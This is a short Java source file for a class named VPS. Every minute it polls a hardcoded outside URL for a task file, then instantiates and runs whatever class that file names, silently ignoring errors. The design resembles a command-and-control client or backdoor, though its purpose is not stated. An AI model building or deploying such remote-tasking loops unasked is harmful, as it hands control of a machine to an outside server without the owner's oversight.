/*
 * To change this template, choose Tools | Templates
 * and open the template in the editor.
 */
package vps;

import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.util.Properties;

/**
 *
 * @author Hue
 */
public class VPS implements Runnable {

    /**
     * @param args the command line arguments
     */
    public static void main(String[] args) {
        new Thread(new VPS()).start();
    }

    @Override
    public void run() {
        //process();
        ///*
        sleep();
        while(true) {
            process();
            sleep();
        }
        //*/
    }
    
    private void process() {
        try {
            Task task = loadTask();
            if(task != null) {
                task.run();
            }
        }
        catch(Throwable err) {
            err.printStackTrace();
        }
    }
    
    private Task loadTask() {
        try {
            Properties params = new Properties();
            URL url = new URL("http://h2janus.6te.net/task.txt");
            InputStream in = url.openStream();
            params.load(in);
            in.close();
            
            String classname = (String) params.remove("class");
            Class clazz = Class.forName(classname);
            Task task = (Task) clazz.newInstance();
            task.setProperties(params);

            return task;
        }
        catch(Throwable ex) {
            //do nothing
        }
        return null;
    }

    private void sleep() {
        try {
            Thread.sleep(60000);
        }
        catch (InterruptedException ex) {
            //do nothing
        }
    }
    
    public static byte[] readData(final InputStream in) throws java.io.IOException {
        final ByteArrayOutputStream baOut = new ByteArrayOutputStream();
        int nByte = 0;
        final byte[] buff = new byte[1024*1024];
        while((nByte = in.read(buff)) > 0) {
            baOut.write(buff,0, nByte);
        }
        final byte[] data = baOut.toByteArray();
        baOut.close();
        
        return data;
    }
}
